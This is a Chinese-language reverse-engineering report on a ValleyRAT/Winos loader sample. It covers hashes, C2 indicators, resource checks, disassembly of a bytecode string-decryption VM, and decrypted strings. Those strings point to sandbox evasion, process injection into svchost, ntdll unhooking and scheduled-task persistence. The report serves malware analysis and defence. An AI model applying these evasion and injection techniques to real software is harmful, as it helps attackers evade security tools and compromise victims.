样本名称:2026年第2季度内职人员违纪名单信息名单公示.exe1
样本 SHA256:b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb
样本 MD5:c8922fde4bda9a300d7aa683cd96ef50
样本 SHA1:52f6fd2f1f4924fc504a3baed384a96df62203eb
文件类型:PE32+ executable (GUI) x86-64, 6 sections, 232,448 bytes
编译器特征:MSVC(ATL 框架 + msvcrt.dll CRT,导入 atlTrace* 与 Component Categories 注册项)
时间戳:0x6A863862 = 2026-08-19 23:12:34 UTC
分析环境:Kali Linux / uv / Python / unicorn / objdump / r2 / tshark
辅助模型:Qwen3.6 27B Abliterated
摘要
样本是银狐(ValleyRAT/Winos)家族的第二阶段加载器。它以"纪检违纪人员名单公示"为名投递,投放后立即把自身复制到 %TEMP%\tmp3C00.tmp 并删除原文件,随后劫持 Windows 计划任务 SoftwareProtectionPlatform\SvcRestartTask 建立持久化,并把一段 3,213 字节的位置无关 stager 注入 svchost.exe。
外层 PE 的导入表中没有任何网络 API。全部网络能力位于注入到 svchost 的 stager 中,该 stager 在运行时通过 ROR13 哈希解析 wininet 并连接 C2。
C2 配置以密文形式嵌入 stager 尾部,解密链路为 样本自实现的 RC4 变体 → LZNT1 解压,还原出主机 hhwqascxsdr.cc 与端口 8080。
| 项目 | 结论 |
|---|---|
| 家族判定 | 银狐 / ValleyRAT / Winos(加载器阶段) |
| 字符串保护 | 76 条字符串,密钥索引表 + 字节码 VM(174 分支) |
| 字符串解密 | 样本内 fcn.140003880,可执行样本自身代码还原 |
| 外层网络能力 | 无(导入表无 ws2_32/wininet/winhttp) |
| 载荷投递 | 3,213 字节 PIC stager,注入 svchost.exe -k netsvcs -s Schedule |
| stager 配置加密 | RC4 变体(S[i] ^ S[j])→ LZNT1 |
| C2 域名 | hhwqascxsdr.cc |
| C2 端口 | 8080 |
| C2 IP | 43.198.213.132(AWS ap-east-1,A 记录可变) |
| C2 协议 | HTTP POST /,Connection: close |
| 侧载载荷 | C:\ProgramData\Packages\NSecRpter.exe + vulkan-1.dll |
| 持久化 | 计划任务 SvcRestartTask(伪装为软件保护平台) |
| 反分析 | DirectDraw 探测、磁盘容量检查、50 秒执行时长阈值、ntdll unhooking |
一、样本准备与初判
1.1 解压样本
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ unzip -P threatbook -o files/b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb.zip -d extract/b7fcd809
Archive: files/b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb.zip
inflating: extract/b7fcd809/b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb
inflating: extract/b7fcd809/sample.exe
1.2 识别文件类型与哈希
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ file extract/b7fcd809/sample.exe
extract/b7fcd809/sample.exe: PE32+ executable for MS Windows 6.00 (GUI), x86-64, 6 sections
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ sha256sum extract/b7fcd809/sample.exe
b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb extract/b7fcd809/sample.exe
1.3 节区布局
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -h extract/b7fcd809/sample.exe
extract/b7fcd809/sample.exe: 文件格式 pei-x86-64
节:
Idx Name Size VMA LMA File off Algn
0 .text 00017694 0000000140001000 0000000140001000 00000400 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
1 .rdata 0000f9fe 0000000140019000 0000000140019000 00017c00 2**4
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .data 00000200 0000000140029000 0000000140029000 00027600 2**4
CONTENTS, ALLOC, LOAD, DATA
3 .pdata 00000ec4 000000014002e000 000000014002e000 00027800 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gehcont 00000004 000000014002f000 000000014002f000 00028800 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .rsrc 00010148 0000000140030000 0000000140030000 00028a00 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
映射关系确立,后续所有地址换算依据此表:
| 节区 | 虚拟地址 | 文件偏移 |
|---|---|---|
.text | 0x140001000 | 0x400 |
.rdata | 0x140019000 | 0x17c00 |
.data | 0x140029000 | 0x27600 |
.pdata | 0x14002e000 | 0x27800 |
.rsrc | 0x140030000 | 0x28a00 |
1.4 虚拟大小与磁盘大小的差异
objdump -h 只显示 Size(磁盘大小)。比较 PE 头中声明的 VirtualSize 才能看出布局意图:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
d=open('extract/b7fcd809/sample.exe','rb').read()
pe=struct.unpack_from('<I',d,0x3c)[0]
n=struct.unpack_from('<H',d,pe+6)[0]; osz=struct.unpack_from('<H',d,pe+0x14)[0]
sh=pe+0x18+osz
print(f'{\"节区\":10s} {\"VSize\":>8s} {\"RawSize\":>8s} {\"比值\":>7s}')
for i in range(n):
o=sh+i*40
nm=d[o:o+8].rstrip(b'\0').decode()
vs,va,rs,rp=struct.unpack_from('<IIII',d,o+8)
print(f'{nm:10s} {vs:8x} {rs:8x} {vs/rs if rs else 0:7.2f}')
"
节区 VSize RawSize 比值
.text 17694 17800 1.00
.rdata f9fe fa00 1.00
.data 4390 200 33.78
.pdata ec4 1000 0.92
.gehcont 4 200 0.01
.rsrc 10148 10200 1.00
.data 的 VirtualSize 是 RawSize 的 33.78 倍 —— 该节区绝大部分是运行时填充的 BSS,磁盘上不含内容。后续分析中凡是 .data 高地址的引用,都指向运行时才存在的数据,静态读取只会得到零。
1.5 导入表即能力清单
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -x extract/b7fcd809/sample.exe | sed -n '/Import Tables/,$p' | grep 'DLL Name'
DLL Name: KERNEL32.dll
DLL Name: USER32.dll
DLL Name: ADVAPI32.dll
DLL Name: wevtapi.dll
DLL Name: d3d11.dll
DLL Name: ntdll.dll
DLL Name: msvcrt.dll
七个 DLL,没有一个是网络库。这一点是本次分析最重要的初始判断依据,理由有二:
第一,沙箱报告显示样本具备网络行为。 报告记录了一段 3,213 字节的 stager 被注入 svchost.exe。若外层 PE 不导入任何网络 API,那么网络能力必然在那段 stch 中,或经运行时解析获得。
第二,导入表本身已经勾勒出能力轮廓。 逐项看关键导入:
| DLL | 关键 API | 指向的行为 |
|---|---|---|
KERNEL32 | DeviceIoControl | 与内核驱动通信 |
KERNEL32 | CreateFileMappingW + MapViewOfFile | 文件映射,用于绕过常规文件读取监控 |
KERNEL32 | GetSystemDirectoryW | 拼接系统目录路径(读取干净 ntdll.dll 的前置动作) |
KERNEL32 | VirtualProtect | 修改内存页属性 |
KERNEL32 | GetDiskFreeSpaceExW | 磁盘容量探测(沙箱特征) |
KERNEL32 | IsDebuggerPresent | 反调试 |
ADVAPI32 | OpenProcessToken · GetTokenInformation · AllocateAndInitializeSid · EqualSid | 令牌与管理员权限判定 |
wevtapi | EvtQuery · EvtNext · EvtRender | 事件日志查询 |
d3d11 | D3D11CreateDevice | GPU 探测 |
USER32 | EnumDisplayDevicesW | 显示适配器枚举 |
ntdll | RtlLookupFunctionEntry · RtlVirtualUnwind | PE 手工映射所需的展开信息处理 |
DeviceIoControl + GetSystemDirectoryW + VirtualProtect 的组合,配合 ntdll 的展开函数,指向一个明确的技术动作:读取磁盘上的干净 ntdll.dll,覆盖内存中被 EDR 打过补丁的代码节区。这一判断在第五章得到验证。
1.6 字符串分布与第一个加密信号
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ strings -a -el -n 6 extract/b7fcd809/sample.exe | sed -n '25,50p'
atlTraceISAPI
kernel32.dll
ERROR : Unable to initialize critical section in CAtlBaseModule
mscoree.dll
msvcrt.dll
advapi32
kernel32
p^Udgdf[^]qkYoeUsbhpMreu
ipuhveBdeTuBF
[vzVKhPMZHmZveiy]Y[xgY\HeFBXhl[M6
LlZyli_ZgGgkMtcGFyYEAopdD
gFeg]pYEkwzwziTpqqI[sPnVt`_ZBGtF
mn`pJHgCxlk\O`rYDUTapj\II\KKYFqC8
G`rg[\pOiq[dSpIuh_smTeTTLN
JyxI]ErFryBaFQyvldos_ET^`\]`\yNfNYnA&
FuUphWSPV`CZsnzi&
QwkTkLxEakuJTHZy$
前 8 条是 ATL 框架的注册表路径与错误提示,属于编译器产物。从 p^Udgdf[^]qkYoeUsbhpMreu 开始出现字符集异常的字符串:仅含小写字母、大写字母、数字与 ` [ \ ] ^ _ $ & 6 * ! @ . 等符号,不含空格与常见英文词。这是加密数据的特征,而非自然语言。
1.7 定位加密字符串的宿主资源
加密串位于文件偏移 0x37266。要确定它属于哪个资源,需要按资源目录逐层展开:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
d=open('extract/b7fcd809/sample.exe','rb').read()
RSRC_VA,RSRC_OFF=0x30000,0x28a00
def rd(o,n): return d[RSRC_OFF+o:RSRC_OFF+o+n]
def walk(off,path,depth=0):
if depth>3: return
nN=struct.unpack_from('<H',rd(off+12,2))[0]
nI=struct.unpack_from('<H',rd(off+14,2))[0]
for i in range(nN+nI):
o=off+16+i*8
name,sub=struct.unpack_from('<II',rd(o,8))
suboff=sub&0x7fffffff
nm=str(name) if not (name&0x80000000) else '?'
if sub&0x80000000: walk(suboff,path+'/'+nm,depth+1)
else:
rva,size,cp,res=struct.unpack_from('<IIII',rd(suboff,16))
foff=RSRC_OFF+(rva-RSRC_VA)
print(f' {path}/{nm:6s} RVA={rva:#08x} size={size:#08x} ({size:6d}) file={foff:#08x}')
walk(0,'')
"
/1/68/1033 RVA=0x0302f8 size=0x001cac ( 7340) file=0x028cf8
/1/193/1033 RVA=0x031fa4 size=0x000cac ( 3244) file=0x02a9a4
/2/161/1033 RVA=0x032c50 size=0x0012e8 ( 4840) file=0x02b650
/3/200/1033 RVA=0x033f38 size=0x0002e3 ( 739) file=0x02c938
/3/201/1033 RVA=0x03421c size=0x0007db ( 2011) file=0x02cc1c
/3/202/1033 RVA=0x0349f8 size=0x0015cf ( 5583) file=0x02d3f8
/3/203/1033 RVA=0x035fc8 size=0x00412f ( 16687) file=0x02e9c8
/3/204/1033 RVA=0x03a0f8 size=0x003ded ( 15853) file=0x032af8
/8/181/1033 RVA=0x03dee8 size=0x00094d ( 2381) file=0x0368e8
/11/25/1033 RVA=0x03e838 size=0x0002fe ( 766) file=0x037238
/14/101/1033 RVA=0x03eb38 size=0x00004c ( 76) file=0x037538
/16/1/2070 RVA=0x03eb84 size=0x0015c4 ( 5572) file=0x037584
加密串区 0x37266 落在 /11/25(类型 11 = RT_MESSAGETABLE) 内,该资源文件范围是 0x37238–0x37536。
选 MESSAGETABLE 作为宿主不是随意的。消息表在正常程序中用于存储错误提示文本,其本身即是一段长度不一的文本数据,静态扫描工具通常不会对其内容做特别检查。把加密串塞进消息表的第一个块,使它在结构上"看起来像"消息表内容。
1.8 资源完整性验证
在认定资源是加密宿主之前,需要先排除"资源本身就是合法图像"这一可能。逐项校验:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct,zlib
d=open('extract/b7fcd809/sample.exe','rb').read()
pngs=[('/3/200',0x2c938,0x2e3),('/3/201',0x2cc1c,0x7db),('/3/202',0x2d3f8,0x15cf),
('/3/203',0x2e9c8,0x412f),('/3/204',0x32af8,0x3ded)]
for nm,o,sz in pngs:
seg=d[o:o+sz]; i=8; chunks=[]; W=H=None; okcrc=True
while i<len(seg)-8:
ln=struct.unpack_from('>I',seg,i)[0]; typ=seg[i+4:i+8]
data=seg[i+8:i+8+ln]; crc=struct.unpack_from('>I',seg,i+8+ln)[0]
if (zlib.crc32(typ+data)&0xffffffff)!=crc: okcrc=False
if typ==b'IHDR': W,H=struct.unpack_from('>II',data)
chunks.append(typ.decode('latin1')); i+=12+ln
if typ==b'IEND': break
print(f'{nm}: {W}x{H} chunks={chunks} CRC全通过={okcrc} 消费字节={i}/{sz}')
"
/3/200: 16x16 chunks=['IHDR', 'pHYs', 'IDAT', 'IEND'] CRC全通过=True 消费字节=739/739
/3/201: 32x32 chunks=['IHDR', 'pHYs', 'IDAT', 'IEND'] CRC全通过=True 消费字节=2011/2011
/3/202: 64x64 chunks=['IHDR', 'pHYs', 'IDAT', 'IEND'] CRC全通过=True 消费字节=5583/5583
/3/203: 128x128 chunks=['IHDR', 'pHYs', 'IDAT', 'IDAT', 'IDAT', 'IEND'] CRC全通过=True 消费字节=16687/16687
/3/204: 256x256 chunks=['IHDR', 'pHYs', 'tEXt', 'IDAT', 'IDAT', 'IEND'] CRC全通过=True 消费字节=15853/15853
五个 PNG 的 CRC 全部通过,且消费字节数精确等于资源分配大小 —— 没有多余空间可供藏匿数据。
同样的方法验证光标与位图资源:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
d=open('extract/b7fcd809/sample.exe','rb').read()
# BITMAPINFOHEADER: biSize,bw,bh,planes,bpp,comp,imgSize
o=0x2b650
bisize,bw,bh=struct.unpack_from('<III',d,o)
planes,bpp=struct.unpack_from('<HH',d,o+12)
imgsz=struct.unpack_from('<I',d,o+20)[0]
print(f'/2/161 BITMAPINFOHEADER: biSize={bisize} {bw}x{bh} planes={planes} bpp={bpp} imgSize={imgsz}')
print(f' 期望像素 = {bw*bh*bpp//8} 字节; 资源 {4840} - 头 {bisize} = {4840-bisize}')
for nm,off,sz in [('/1/68',0x28cf8,0x1cac),('/1/193',0x2a9a4,0xcac)]:
t,cnt=struct.unpack_from('<HH',d,off)
bis,bw,bh=struct.unpack_from('<III',d,off+4)
pl,bpp=struct.unpack_from('<HH',d,off+16)
imgs=struct.unpack_from('<I',d,off+8+20)[0]
print(f'{nm}: type={t} count={cnt} DIB {bw}x{bh} bpp={bpp} biSizeImage={imgs}; 资源 {sz} - 4(类型) - 40(DIB) = {sz-44}')
"
/2/161 BITMAPINFOHEADER: biSize=40 40x40 planes=1 bpp=24 imgSize=4800
期望像素 = 4800 字节; 资源 4840 - 头 40 = 4800
/1/68: type=26 count=41 DIB 40x48 bpp=24 biSizeImage=7296; 资源 7340 - 4(类型) - 40(DIB) = 7296
/1/193: type=26 count=20 DIB 40x64 bpp=24 biSizeImage=3200; 资源 3244 - 4(类型) - 40(DIB) = 3200
三个资源都自洽:位图的 4800 像素数据精确用满剩余空间;两个光标的 biSizeImage 字段声明的大小(7296、3200)也精确等于剩余空间。这些是合法的光标/位图,其高熵来自图像数据本身(PNG 压缩与位图抖动),不是隐藏载荷。
结论:12 个资源中只有 /11/25 携带非图像数据。 其余 11 项均已验证为合法资源。
二、字符串保护机制
2.1 定位字符串解密函数
加密串没有直接的代码引用(lea 指向该区域的指令数为零),说明通过资源 API 运行时读取。真正的线索在导入名的使用模式中 —— 大量 LoadLibraryA + GetProcAddress 之前,都跟着同一段调用序列。
在 fcn.140007600 中可以看到这个固定模式:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 600 r2 -q -e scr.color=0 -c 'aaa; s 0x140007600; pdf' extract/b7fcd809/sample.exe | head -22
┌ 1676: fcn.140007600 (void *arg1);
│ 0x140007600 48894c2408 mov qword [var_8h], rcx ; arg1
│ 0x140007607 4881ec280a.. sub rsp, 0xa28
│ 0x14000760e bac3f6e6a3 mov edx, 0xa3e6f6c3
│ 0x140007613 488d8c2488.. lea rcx, [var_288h]
│ 0x14000761b e860c2ffff call fcn.140003880
│ 0x140007620 488d8c2420.. lea rcx, [lpLibFileName]
│ 0x140007628 488bf9 mov rdi, rcx
│ 0x14000762b 488bf0 mov rsi, rax
│ 0x14000762e b918000000 mov ecx, 0x18 ; 24
│ 0x140007633 f3a4 rep movsb byte [rdi], byte [rsi]
│ 0x140007635 488b8c2420.. mov rcx, qword [lpLibFileName] ; LPCSTR lpLibFileName
│ 0x14000763d ff15751a0100 call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
模式固定为三步:
mov edx, <32 位密钥>
lea rcx, <输出缓冲>
call fcn.140003880 ; 解密
...
rep movsb (24 字节) ; 拷入目标槽位
call LoadLibraryA / GetProcAddress
函数签名是 decrypt(out, uint32_t key),输出上限 24 字节。全样本共 147 处调用,76 个唯一密钥。
2.2 密钥索引表
fcn.140003880 首先用密钥查表:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 600 r2 -q -e scr.color=0 -c 'aaa; s 0x140005e60; pdf' extract/b7fcd809/sample.exe | head -26
┌ 179: fcn.140005e60 (int64_t arg1);
│ 0x140005e60 894c2408 mov dword [var_8h], ecx ; arg1
│ 0x140005e64 4883ec28 sub rsp, 0x28
│ 0x140005e68 48c7042400.. mov qword [rsp], 0
│ 0x140005e70 48c7442410.. mov qword [var_10h], 0x5b ; 91
│ ┌─> 0x140005e79 488b442410 mov rax, qword [var_10h]
│ ╎ 0x140005e7e 48390424 cmp qword [rsp], rax
│ ┌──< 0x140005e82 7358 jae 0x140005edc
│ │╎ 0x140005e84 488b0424 mov rax, qword [rsp]
│ │╎ 0x140005e88 488b4c2410 mov rcx, qword [var_10h]
│ │╎ 0x140005e8d 482bc8 sub rcx, rax
│ │╎ 0x140005e93 33d2 xor edx, edx
│ │╎ 0x140005e95 b902000000 mov ecx, 2
│ │╎ 0x140005e9a 48f7f1 div rcx
│ │╎ 0x140005e9d 488b0c24 mov rcx, qword [rsp]
│ │╎ 0x140005ea1 4803c8 add rcx, rax
│ │╎ 0x140005ea7 4889442408 mov qword [var_8h_2], rax
│ │╎ 0x140005eac 486b4424080c imul rax, qword [var_8h_2], 0xc
│ │╎ 0x140005eb2 488d0db740.. lea rcx, [0x140019f70]
│ │╎ 0x140005eb9 8b542430 mov edx, dword [var_8h]
│ │╎ 0x140005ebd 391401 cmp dword [rcx + rax], edx
│ ┌───< 0x140005ec0 730e jae 0x140005ed0
这是一个标准的二分查找:
void *lookup(uint32_t key) {
size_t lo = 0, hi = 0x5b; /* 91 项 */
while (lo < hi) {
size_t mid = lo + (hi - lo) / 2;
if (table[mid].key < key) lo = mid + 1; /* imul rax, mid, 0xc */
else hi = mid; /* 每项 12 字节 */
}
if (lo < 0x5b && table[lo].key == key) return &table[lo];
return NULL;
}
表在 0x140019f70,每项 12 字节,共 91 项,按密钥升序排列(已验证单调递增)。
提取这张表:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
d=open('extract/b7fcd809/sample.exe','rb').read()
o=0x17c00+(0x140019f70-0x140019000)
print(f'{\"idx\":>3s} {\"key\":>10s} {\"f4\":>8s} {\"f6\":>6s} {\"f8\":>6s} {\"f9\":>4s}')
for i in range(0x5b):
b=o+i*12
key=struct.unpack_from('<I',d,b)[0]
f4=struct.unpack_from('<H',d,b+4)[0]
f6=struct.unpack_from('<H',d,b+6)[0]
f8=struct.unpack_from('<I',d,b+8)[0]
f9=d[b+9]
if i<8 or i>0x58: print(f'{i:3d} {key:#010x} {f4:8d} {f6:6d} {f8:6d} {f9:4d}')
ks=[struct.unpack_from('<I',d,o+i*12)[0] for i in range(0x5b)]
print('key 升序:', all(ks[i]<ks[i+1] for i in range(90)))
"
idx key f4 f6 f8 f9
0 0x02abdab4 0 21 21 0
1 0x041ea79d 2 18 18 0
2 0x09750505 4 17 17 0
3 0x0e80fd3a 6 11 11 0
4 0x0e81b808 7 15 15 0
5 0x0e843f3b 8 124 318 1
6 0x16c7d1fe 16 46 279 1
7 0x185776b5 19 24 24 0
...
89 0xf0031e02 174 6 6 0
90 0xfaba0065 175 11 11 0
key 升序: True
字段语义:f4 为累计字符索引(严格递增:0,2,4,6,7,8,16,19...),f6 为字符串长度,f8 为数据偏移,f9 为标志位(长条目为 1)。
2.3 解密核心是一次字节码解释
密钥查表之后,fcn.140003880 进入一个解释器循环。它的分派逻辑是本次分析中技术含量最高的部分:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 600 r2 -q -e scr.color=0 -c 'aaa; s 0x140003af3; pd 16' extract/b7fcd809/sample.exe | head -18
│ 0x140003af9 488d051059.. lea rax, [0x140019410]
│ 0x140003b00 488b4c2430 mov rcx, qword [var_30h]
│ 0x140003b05 48baf3d618.. movabs rdx, 0x91e07a2c4b18d6f3
│ 0x140003b0f 488b04c8 mov rax, qword [rax + rcx*8]
│ 0x140003b13 4833c2 xor rax, rdx
│ 0x140003b16 4889842488.. mov qword [var_88h], rax
│ 0x140003b1e 0fb6842488.. movzx eax, byte [var_88h]
│ 0x140003b26 83f05c xor eax, 0x5c ; 92
│ 0x140003b29 88442428 mov byte [var_28h], al
│ 0x140003b2d 488b842488.. mov rax, qword [var_88h]
│ 0x140003b35 48c1e820 shr rax, 0x20
│ 0x140003b39 89442458 mov dword [var_58h], eax
│ 0x140003b3d 0fb6442428 movzx eax, byte [var_28h]
│ 0x140003b46 8b44244c mov eax, dword [var_4ch]
│ 0x140003b4a 83e806 sub eax, 6
│ 0x140003b51 817c244cad.. cmp dword [var_4ch], 0xad
│ ┌──< 0x140003b59 0f87db020000 ja case.0x140003b7d.7
│ ││ 0x140003b5f 486344244c movsxd rax, dword [var_4ch]
│ ││ 0x140003b64 488d0d95c4.. lea rcx, [0x140000000]
│ ││ 0x140003b6b 0fb6840154.. movzx eax, byte [rcx + rax + 0x3f54]
│ ││ 0x140003b73 8b8481343f.. mov eax, dword [rcx + rax*4 + 0x3f34]
│ ││ 0x140003b7a 4803c1 add rax, rcx
│ ││ 0x140003b7d ffe0 jmp rax ; switch table (174 cases) at 0x140003f34
│ ││ ;-- case 58:
│ ││ 0x140003b9e 488b442420 mov rax, qword [var_20h]
│ ││ 0x140003ba3 488b4018 mov rax, qword [rax + 0x18]
│ ││ 0x140003ba7 4889842490.. mov qword [var_90h], rax
解码链为:
uint64_t word = opcode_table[counter]; /* 11 项表 @ 0x140019410 */
uint64_t dec = word ^ 0x91e07a2c4b18d6f3; /* 固定 XOR 密钥 */
uint8_t op = (uint8_t)dec ^ 0x5C; /* 低字节再异或 */
uint32_t arg = (uint32_t)(dec >> 32); /* 高 32 位作操作数 */
int32_t idx = (int32_t)op - 6; /* 归一化 */
if (idx > 0xAD) goto out; /* 174 个合法操作码 */
goto *jump_table[idx]; /* 二级跳转表 */
其中跳转表是一对表:字节索引表在 0x140003F54,RVA 表在 0x140003F34。
这个设计的意图值得说明。 如果把 76 个字符串明文放在文件里,静态分析者一条 strings 就能看到全部配置。改用"密钥 → 表项 → 字节码程序 → 输出"这条链,使每个字符串都需要实际执行解密器才能获得,而解密器自身由 174 个分支构成,静态阅读成本极高。
选择字节码解释器而非简单异或,还有一层考量:解释器的操作码被 XOR 加密(0x91e07a2c4b18d6f3),且低字节还叠加一次 0x5C 异或。即便分析者定位到跳转表,也要先还原出这两个常量才能理解分派逻辑。
2.4 用 Unicorn 执行样本自身的解密器
fcn.140003880 只调用一个内部函数(fcn.140005e60 查表),不触碰任何系统 API。这意味着它可以在纯内存环境中直接执行,无需模拟 Windows 环境。
据此编写脚本,让样本自己完成解密:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 600 uv run --no-project python /tmp/dec.py 2>&1 | tail -40
[+] 76 个密钥
0xe9aa81ce ptr=0x014002c7f0 '*[System[EventID=4624]]'
0xc2fe7683 ptr=0x014002c250 'Security'
0x5f99bf0c ptr=0x014002a630 "Event/EventData/Data[@Name='LogonType']"
0x16c7d1fe ptr=0x0140029550 '*[System[EventID=1102]]'
0x5d9629e4 ptr=0x014002a450 'virtual'
0x6fdffa11 ptr=0x014002a9f0 'vmware'
0x7fdf1dfe ptr=0x014002af90 'vbox'
0x61d0f746 ptr=0x014002a6d0 'hyper-v'
0xa62a3b3b ptr=0x014002b8f0 'ntdll.dll'
0xca67b978 ptr=0x014002c390 'NtAllocateVirtualMemory'
0x43e32f32 ptr=0x0140029d70 'NtWriteVirtualMemory'
0x3f826994 ptr=0x0140029b90 'C:\\'
0x49d4e401 ptr=0x0140029f50 'WDDM'
0xcb39ca07 ptr=0x014002c4d0 'C:\\Windows\\System32\\ntdll.dll'
0xe49d7b3f ptr=0x014002c750 'C:\\Windows\\System32\\kernel32.dll'
0x6896fbe5 ptr=0x014002a810 'C:\\Windows\\System32\\user32.dll'
0xeb5970ff ptr=0x014002c890 'SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Fu'
0x8b51b27d ptr=0x014002b2b0 'SOFTWARE\\Microsoft\\Hyper-V'
0x2dda5baf ptr=0x0140029870 'SOFTWARE\\Microsoft\\InetStp'
0x7c7501f9 ptr=0x014002aef0 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Vir'
0x85bd3a4c ptr=0x014002b0d0 'SOFTWARE\\Microsoft\\PowerShell\\3'
0x250527e0 ptr=0x0140029730 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Intern'
0x57eddd62 ptr=0x014002a270 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninst'
0x0e843f3b ptr=0x01400294b0 'SOFTWARE\\Wow6432Node\\Microsoft\\NET Framework Set'
0xa3e6f6c3 ptr=0x014002b710 'kernel32.dll'
0xa3fbd5fb ptr=0x014002b850 'GetModuleFileNameW'
0x7159ec47 ptr=0x014002ab30 'GetTempPathW'
0x9f9bec99 ptr=0x014002b5d0 'GetTempFileNameW'
0x90418781 ptr=0x014002b3f0 'DeleteFileW'
0x7031bdaf ptr=0x014002aa90 'MoveFileW'
0xd716d510 ptr=0x014002c6b0 'MoveFileExW'
0x0e80fd3a ptr=0x0140029370 'ExitProcess'
0xb3153b16 ptr=0x014002bd50 'tmp'
0x86fe8652 ptr=0x014002b170 'GetProcessHeap'
0x53a65e77 ptr=0x014002a130 'HeapReAlloc'
0x7a43974a ptr=0x014002ae50 'NtQuerySystemInformation'
0x32bb2bc9 ptr=0x0140029a50 'GetProcessId'
0x5755dbf0 ptr=0x014002a1d0 'DuplicateHandle'
0xa9c70663 ptr=0x014002ba30 'IoCompletion'
0x8160b23b ptr=0x014002b030 'ddraw.dll'
0xcad0f09a ptr=0x014002c430 'DirectDrawCreate'
0xbbf7c313 ptr=0x014002bf30 'SeDebugPrivilege'
0xaeb6049c ptr=0x014002bc10 'VirtualAllocEx'
0xc0088eea ptr=0x014002c070 'WriteProcessMemory'
0x4f644736 ptr=0x0140029ff0 'shell32.dll'
0xb289d372 ptr=0x014002bcb0 'ShellExecuteExW'
0x254fa59a ptr=0x01400297d0 'NtQueryObject'
0xc3fdbe86 ptr=0x014002c2f0 'PostQueuedCompletionStatus'
0x78381004 ptr=0x014002ad10 'ZwSetIoCompletion'
0xa0ee5c56 ptr=0x014002b670 'bdservicehost.exe'
0x305caa6d ptr=0x01400299b0 'VirtualQueryEx'
0x09750505 ptr=0x01400292d0 'ReadProcessMemory'
0xa62a6c63 ptr=0x014002b990 'ntdll.dll'
0x951e183d ptr=0x014002b530 '\\ntdll.dll'
0x88a82ec2 ptr=0x014002b210 '.text'
0x935342df ptr=0x014002b490 'vss'
0xa3f9edb4 ptr=0x014002b7b0 'Schedule'
0xd3c5e4f6 ptr=0x014002c570 'lstrcmpiW'
0x185776b5 ptr=0x01400295f0 'CreateToolhelp32Snapshot'
0xfaba0065 ptr=0x014002c9d0 'CloseHandle'
0x0e81b808 ptr=0x0140029410 'Process32FirstW'
0xabe5123f ptr=0x014002bb70 'Process32NextW'
0x5056df37 ptr=0x014002a090 'GetLastError'
0x5ea49a38 ptr=0x014002a590 'NtOpenProcess'
0xb8a2bdd5 ptr=0x014002bdf0 'ADVAPI32.dll'
0x67ff005d ptr=0x014002a770 'OpenServiceW'
0xd51fd8cf ptr=0x014002c610 'StartServiceW'
0xab8189ab ptr=0x014002bad0 'OpenSCManagerW'
0x39f78448 ptr=0x0140029af0 'QueryServiceStatus'
0x2e47fe60 ptr=0x0140029910 'CloseServiceHandle'
0x41ac2090 ptr=0x0140029c30 'EnumServicesStatusExW'
0x5e5ad0c3 ptr=0x014002a4f0 'OpenProcessToken'
0x02abdab4 ptr=0x0140029190 'LookupPrivilegeValueW'
0x5b11ad63 ptr=0x014002a3b0 'AdjustTokenPrivileges'
0x21706f64 ptr=0x0140029690 'IsUserAnAdmin'
0x76088bbe ptr=0x014002ac70 'runas'
76 个字符串全部还原。返回值是指向 .data BSS 区(0x140029xxx)的指针,指向运行时构造的 Unicode 字符串对象。
2.5 还原结果按行为分类
| 类别 | 字符串 |
|---|---|
| 沙箱检测 | virtual vmware vbox hyper-v WDDM SOFTWARE\Microsoft\Hyper-V SOFTWARE\Microsoft\InetStp SOFTWARE\Microsoft\PowerShell\3 SOFTWARE\...\NET Framework Setup\NDP\v4\Fu SOFTWARE\Wow6432Node\...\NET Framework Set SOFTWARE\Microsoft\Windows NT\CurrentVersion\Vir |
| 权限提升 | SeDebugPrivilege OpenProcessToken LookupPrivilegeValueW AdjustTokenPrivileges IsUserAnAdmin runas |
| 进程注入 | NtAllocateVirtualMemory NtWriteVirtualMemory NtOpenProcess VirtualAllocEx WriteProcessMemory ReadProcessMemory VirtualQueryEx DuplicateHandle GetProcessId |
| 事件日志侦察 | *[System[EventID=4624]] *[System[EventID=1102]] Event/EventData/Data[@Name='LogonType'] Security |
| 服务操作 | OpenSCManagerW OpenServiceW StartServiceW QueryServiceStatus CloseServiceHandle EnumServicesStatusExW Schedule bdservicehost.exe |
| 文件落地 | GetTempPathW GetTempFileNameW MoveFileW MoveFileExW DeleteFileW ShellExecuteExW tmp shell32.dll |
| 反 EDR | C:\Windows\System32\ntdll.dll \ntdll.dll ntdll.dll kernel32.dll user32.dll .text lstrcmpiW |
| 进程枚举 | CreateToolhelp32Snapshot Process32FirstW Process32NextW |
| DirectDraw | ddraw.dll DirectDrawCreate |
